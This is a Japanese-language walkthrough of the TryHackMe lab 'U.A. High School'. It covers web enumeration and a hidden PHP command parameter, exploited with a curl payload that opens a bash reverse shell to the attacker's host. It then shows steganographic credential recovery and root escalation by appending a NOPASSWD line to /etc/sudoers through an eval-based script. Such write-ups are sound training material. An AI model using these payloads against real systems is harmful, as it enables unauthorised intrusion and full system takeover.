はじめに
本記事はTryHackMeのWriteupです。
RoomはU.A. High School、Difficulty(難易度)はEasyです。
このRoomでは、列挙や権限昇格に関するスキルについて学ぶことができます。
ポートスキャン
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-09 20:22 JST
Nmap scan report for 10.10.10.57
Host is up (0.24s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 58:2f:ec:23:ba:a9:fe:81:8a:8e:2d:d8:91:21:d2:76 (RSA)
| 256 9d:f2:63:fd:7c:f3:24:62:47:8a:fb:08:b2:29:e2:b4 (ECDSA)
|_ 256 62:d8:f8:c9:60:0f:70:1f:6e:11:ab:a0:33:79:b5:5d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: U.A. High School
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds
Scan completed
ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、80番ポートにアクセスすると、以下の様な画面が表示されます。
このページでは、特に興味深いものは見つからなかったため、引き続きコンテンツ探索を行います。
$ gobuster dir -u http://<IP address> -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.57
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/.htaccess (Status: 403) [Size: 276]
/assets (Status: 301) [Size: 311] [--> http://10.10.10.57/assets/]
/index.html (Status: 200) [Size: 1988]
/server-status (Status: 403) [Size: 276]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
上記結果及びトップページのソースコードよりCSSファイルはassets
ディレクトリ配下に格納されているため、assets
ディレクトリに対して更に探索を続けます。なお、ブラウザからassets
ディレクトリ配下にアクセスしても、何も表示されません。
$ gobuster dir -u http://<IP address>/assets -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.57/assets
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 276]
/.htaccess (Status: 403) [Size: 276]
/.htpasswd (Status: 403) [Size: 276]
/images (Status: 301) [Size: 318] [--> http://10.10.10.57/assets/images/]
/index.php (Status: 200) [Size: 0]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
上記結果からindex.php
ファイルの存在が確認できますが、何も表示されません。
しかし、タスクのヒントからindex.php
ファイルが怪しいと思われるため、引き続き調査を行います。
Enumerate thoroughly, there might be hidden functionality. Once you found a way in, be suspicious of any unused files.
脆弱性分析
phpのプログラムに注目するにあたって、ファジングを行いプログラムの動作を確認します。
$ ffuf -u 'http://<IP address>/assets/index.php?FUZZ=id' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.10.57/assets/index.php?FUZZ=id
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
cmd [Status: 200, Size: 72, Words: 1, Lines: 1, Duration: 245ms]
:: Progress: [38267/38267] :: Job [1/1] :: 166 req/sec :: Duration: [0:04:02] :: Errors: 0 ::
cmd
パラメータを検出しました。レスポンス結果から文字列が確認できます。
$ curl http://<IP address>/assets/index.php?cmd=id
dWlkPTMzKHd3dy1kYXRhKSBnaWQ9MzMod3d3LWRhdGEpIGdyb3Vwcz0zMyh3d3ctZGF0YSkK
Base64でエンコードしてると思われるため、デコードすると正常にコマンドの出力が確認できました。
$ curl -s http://<IP address>/assets/index.php?cmd=id | base64 -d
uid=33(www-data) gid=33(www-data) groups=33(www-data)
システムハッキング
コマンドインジェクションの脆弱性を利用して、足場を作ります。
アクセスの獲得
リスナーを用意した状態で、リバーシェルを取得します。
$ curl -s http://<IP address>/assets/index.php -G --data-urlencode "cmd=/bin/bash -c 'bash -i >& /dev/tcp/<Your IP address>/4444 0>&1'"
listening on [any] 4444 ...
connect to [<Your IP address>] from (UNKNOWN) [10.10.10.57] 48000
bash: cannot set terminal process group (795): Inappropriate ioctl for device
bash: no job control in this shell
www-data@myheroacademia:/var/www/html/assets$
リバースシェル取得後はシェルが不安定な状態になっているため、シェルを安定させます。
www-data@myheroacademia:/var/www/html/assets$ /usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
</bin/python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@myheroacademia:/var/www/html/assets$ ^Z
[1]+ 停止 nc -lnvp 4444
┌──(kali㉿kali)-[~]
└──$ stty raw -echo; fg
nc -lnvp 4444
export TERM=xterm
www-data@myheroacademia:/var/www/html/assets$ export SHELL=bash
ユーザーフラグ
カレントディレクトリである/var/www/html/assets
ディレクトリ配下を確認します。
total 12
drwxrwxr-x 2 www-data www-data 4096 Jul 9 2023 images
-rw-rw-r-- 1 www-data www-data 213 Jul 9 2023 index.php
-rw-r--r-- 1 root root 2943 Jan 25 2024 styles.css
水平展開を行うにあたり/home
ディレクトリ配下のユーザーを確認します。
total 4
drwxr-xr-x 5 deku deku 4096 Jul 10 2023 deku
上記結果を踏まえて、dekuユーザーの認証情報を探索します。/var/www/html/assets
ディレクトリを起点に探索した結果、Hidden_Content
のディレクトリを発見しました。
ll ../../
total 8
drwxrwxr-x 2 www-data www-data 4096 Jul 9 2023 Hidden_Content
drwxr-xr-x 3 www-data www-data 4096 Dec 13 2023 html
Hidden_Content
のディレクトリを確認すると、passphrase.txt
ファイルを発見しました。
ll ../../Hidden_Content/
total 4
-rw-rw-r-- 1 www-data www-data 29 Jul 9 2023 passphrase.txt
passphrase.txt
ファイルの中身は、Base64で符号化されていたため、デコードします。
cat ../../Hidden_Content/passphrase.txt | base64 -d
何らかのパスワードの様な文字列が確認できましたが、SSHの接続はできません。
******************
仕切り直してimages/
ディレクトリを調査すると、未確認のファイルを発見しました。
total 328
-rw-rw-r-- 1 www-data www-data 98264 Jul 9 2023 oneforall.jpg
-rw-rw-r-- 1 www-data www-data 237170 Jul 9 2023 yuei.jpg
oneforall.jpg
ファイルをダウンロードします。
$ wget http://<IP address>/assets/images/oneforall.jpg
ダウンロードしたoneforall.jpg
ファイルを開こうとしたものの、ファイルが正常に開けません。
バイナリエディタを使用してマジックバイトを確認すると、マジックバイトはpng
になっていたため、jpeg形式のFF D8 DD E0
に変更します。
再度oneforall.jpg
ファイルを開くと、正常に表示できました。
oneforall.jpg
ファイルは、ステガノグラフィーによって、秘密のテキストが隠れていました。
$ steghide extract -sf oneforall.jpg
Enter passphrase:
Corrupt JPEG data: 18 extraneous bytes before marker 0xdb
wrote extracted data to "creds.txt".
steghide
コマンドを実行した結果、creds.txt
ファイルが抽出できました。
-rw-rw-r-- 1 kali kali 150 9æ 9 21:14 creds.txt
抽出したcreds.txt
ファイルを参照すると、dekuユーザーの認証情報が確認できました。
Hi Deku, this is the only way I've found to give you your account credentials, as soon as you have them, delete this file:
deku:********************
dekuユーザーの認証情報を使用して、SSHでログイン後ユーザーフラグが取得できます。
total 36
drwxr-xr-x 5 deku deku 4096 Jul 10 2023 ./
drwxr-xr-x 3 root root 4096 Jul 9 2023 ../
lrwxrwxrwx 1 root root 9 Jul 9 2023 .bash_history -> /dev/null
-rw-r--r-- 1 deku deku 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 deku deku 3771 Feb 25 2020 .bashrc
drwx------ 2 deku deku 4096 Jul 9 2023 .cache/
drwxrwxr-x 3 deku deku 4096 Jul 9 2023 .local/
-rw-r--r-- 1 deku deku 807 Feb 25 2020 .profile
drwx------ 2 deku deku 4096 Jul 9 2023 .ssh/
-rw-r--r-- 1 deku deku 0 Jul 9 2023 .sudo_as_admin_successful
-r-------- 1 deku deku 33 Jul 10 2023 user.txt
ルートフラグ
ルートフラグを取得するためには、権限昇格が必要です。
sudo -l
を実行すると、以下の様な出力が確認できました。
[sudo] password for deku:
Matching Defaults entries for deku on myheroacademia:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User deku may run the following commands on myheroacademia:
(ALL) /opt/NewComponent/feedback.sh
上記結果を踏まえて、/opt/NewComponent/feedback.sh
ファイルはsudo
コマンドを実行することができます。
-r-xr-xr-x 1 deku deku 684 Jan 23 2024 /opt/NewComponent/feedback.sh*
/opt/NewComponent/feedback.sh
ファイルの中身を確認します。
$ cat /opt/NewComponent/feedback.sh
#!/bin/bash
echo "Hello, Welcome to the Report Form "
echo "This is a way to report various problems"
echo " Developed by "
echo " The Technical Department of U.A."
echo "Enter your feedback:"
read feedback
if [[ "$feedback" != *"\`"* && "$feedback" != *")"* && "$feedback" != *"\$("* && "$feedback" != *"|"* && "$feedback" != *"&"* && "$feedback" != *";"* && "$feedback" != *"?"* && "$feedback" != *"!"* && "$feedback" != *"\\"* ]]; then
echo "It is This:"
eval "echo $feedback"
echo "$feedback" >> /var/log/feedback.txt
echo "Feedback successfully saved."
else
echo "Invalid input. Please provide a valid input."
fi
このスクリプトを利用することで、ルートユーザーの権限を取得することができます。以下では、/etc/sudoers
ファイルを利用する例です。
/opt/NewComponent/feedback.sh
ファイルを実行後、dekuユーザーに対してパスワード無しでsudoコマンドを実行できるように/etc/sudoers
ファイルを変更します。
$ sudo /opt/NewComponent/feedback.sh
Hello, Welcome to the Report Form
This is a way to report various problems
Developed by
The Technical Department of U.A.
Enter your feedback:
deku ALL=NOPASSWD: ALL >> /etc/sudoers
It is This:
Feedback successfully saved.
sudo
コマンドを実行しシェルを起動すると、ルートユーザーに昇格できました。
$ sudo /bin/bash
root@myheroacademia:/home/deku#
$ id
uid=0(root) gid=0(root) groups=0(root)
ルートフラグを取得します。
drwx------ 5 root root 4096 Dec 13 2023 ./
drwxr-xr-x 19 root root 4096 Jul 9 2023 ../
-rw------- 1 root root 2343 Sep 9 12:23 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 Jul 9 2023 .local/
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 794 Dec 13 2023 root.txt
drwx------ 3 root root 4096 Jul 9 2023 snap/
drwx------ 2 root root 4096 Jul 9 2023 .ssh/
おわりに
CTFも味わえる面白いルームでした。